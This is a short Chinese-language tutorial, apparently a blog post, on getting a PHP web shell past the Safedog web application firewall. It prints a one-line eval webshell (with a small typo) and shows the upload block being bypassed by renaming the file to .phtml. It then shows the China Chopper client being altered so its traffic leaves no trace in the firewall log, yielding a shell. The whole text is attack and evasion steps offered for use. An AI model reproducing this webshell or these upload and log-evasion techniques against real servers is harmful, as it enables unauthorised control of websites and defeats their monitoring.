1、先试着上传一句话木马1.php
<?php @eval($_POST([cmd]);?>
打开目标机查看安全狗日志
可以看出,安全狗策略禁止上传.php文件
2、马被免杀,菜刀没被免杀
可以考虑更改后缀名为.phtml再次上传
上传成功
使用菜刀连接,发现连接失败
打开目标机查看安全狗日志
扫描二维码关注公众号,回复: 9657527 查看本文章
出现chooper工具这一句话,证明马免杀,菜刀没免杀
3、菜刀免杀,马没免杀
第一步已经知道安全狗拦截.php文件,可以在目标系统上先写一个一句话木马1.php文件,然后再使用菜刀连接,查看效果。
使用菜刀连接,发现连接失败
查看日志记录为
证明马免杀,菜刀没免杀
4、菜刀免杀 马免杀
修改菜刀配置文件
不出现任何记录,可以使用菜刀直接获取shell
隐藏菜刀流量特征
可在日志文件中查看